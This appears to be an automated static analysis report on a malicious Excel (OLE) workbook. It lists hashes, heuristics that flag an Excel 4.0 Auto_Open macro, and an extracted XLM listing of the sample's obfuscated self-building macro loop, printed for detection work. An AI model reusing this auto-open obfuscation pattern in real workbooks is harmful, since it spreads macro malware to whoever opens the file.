Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fecf2fc3db2c8c21…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:25:11 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 2c14544be36de972625013c0bb14d7c4 SHA-1: 5ef5688ec59788a0525555064d297bd88be510ee SHA-256: fecf2fc3db2c8c21d1cdaf8c4cf81edca1aa40059a46c17d30b909d27d6499c1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6643 bytes
SHA-256: 13f97d88990bd23127509a395a3c061017622c300f8bea850be554aa5b4673ef
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  odCCgKEDuAP
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H141 
' 0018     24 LABEL : Cell Value, String Constant - damdkfSNX len=0 
' 0018     25 LABEL : Cell Value, String Constant - FOvICeNOUH len=0 
' 0018     24 LABEL : Cell Value, String Constant - hOaxxKUTI len=0 
' 0018     21 LABEL : Cell Value, String Constant - IEkLdd len=0 
' 0018     27 LABEL : Cell Value, String Constant - iIUhIutLtxwX len=0 
' 0018     27 LABEL : Cell Value, String Constant - JokWGQuRixTS len=0 
' 0018     25 LABEL : Cell Value, String Constant - JxHirSgMvK len=0 
' 0018     25 LABEL : Cell Value, String Constant - kuwbPQcjEz len=0 
' 0018     26 LABEL : Cell Value, String Constant - NrhvbASHuhi len=0 
' 0018     20 LABEL : Cell Value, String Constant - ovgcw len=0 
' 0018     20 LABEL : Cell Value, String Constant - OxDvE len=0 
' 0018     21 LABEL : Cell Value, String Constant - PbwboM len=0 
' 0018     24 LABEL : Cell Value, String Constant - qpOatYSTC len=0 
' 0018     26 LABEL : Cell Value, String Constant - tUAnaetJCha len=0 
' 0018     26 LABEL : Cell Value, String Constant - uYnsGJqcvnX len=0 
' 0018     22 LABEL : Cell Value, String Constant - vOqlWeI len=0 
' 0018     25 LABEL : Cell Value, String Constant - vPRvWqSHVy len=0 
' 0018     20 LABEL : Cell Value, String Constant - Vwujc len=0 
' 0018     22 LABEL : Cell Value, String Constant - YvAkHnl len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZOcHgC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  odCCgKEDuAP,H52,"SET.NAME("OxDvE",VALUE("0"))",""
'  odCCgKEDuAP,H55,"SET.NAME("NrhvbASHuhi",OxDvE)",""
'  odCCgKEDuAP,H57,"SET.NAME("PbwboM",OxDvE)",""
'  odCCgKEDuAP,H60,"SET.NAME("kuwbPQcjEz",COUNTA(JxHirSgMvK))",""
'  odCCgKEDuAP,H65,"SET.NAME("IEkLdd",COUNTA(iIUhIutLtxwX))",""
'  odCCgKEDuAP,H67,[],""
'  odCCgKEDuAP,H69,"SET.NAME("ZOcHgC","")",""
'  odCCgKEDuAP,H71,"NrhvbASHuhi",""
'  odCCgKEDuAP,H75,"SET.NAME("ovgcw",HLOOKUP("*",JxHirSgMvK,NrhvbASHuhi,FALSE))",""
'  odCCgKEDuAP,H79,"vOqlWeI",""
'  odCCgKEDuAP,H83,"SET.NAME("uYnsGJqcvnX",OxDvE)",""
'  odCCgKEDuAP,H88,[],""
'  odCCgKEDuAP,H91,"uYnsGJqcvnX",""
'  odCCgKEDuAP,H95,"tUAnaetJCha",""
'  odCCgKEDuAP,H97,"Vwujc",""
'  odCCgKEDuAP,H101,"hOaxxKUTI",""
'  odCCgKEDuAP,H103,"SET.NAME("JokWGQuRixTS",VALUE(HLOOKUP("*",iIUhIutLtxwX,hOaxxKUTI,FALSE)))",""
'  odCCgKEDuAP,H108,"FOvICeNOUH",""
'  odCCgKEDuAP,H111,"ZOcHgC",""
'  odCCgKEDuAP,H115,"PbwboM",""
'  odCCgKEDuAP,H118,NEXT(),""
'  odCCgKEDuAP,H121,"vPRvWqSHVy",""
'  odCCgKEDuAP,H125,"SET.NAME("f",INT(T(FORMULA(T(ZOcHgC)&"",""&T(vPRvWqSHVy)))))",""
'  odCCgKEDuAP,H130,"qpOatYSTC",""
'  odCCgKEDuAP,H135,NEXT(),""
'  odCCgKEDuAP,H137,RETURN(),""
'  odCCgKEDuAP,H166,"SET.NAME("damdkfSNX",H52)",""
'  odCCgKEDuAP,H168,"JxHirSgMvK",""
'  odCCgKEDuAP,H171,"SET.NAME("iIUhIutLtxwX",R80C15)",""
'  odCCgKEDuAP,H174,"SET.NAME("qpOatYSTC",182)",""
'  odCCgKEDuAP,H176,"SET.NAME("YvAkHnl",8)",""
'  odCCgKEDuAP,H181,damdkfSNX(),""
'  odCCgKEDuAP,H182,HALT(),""

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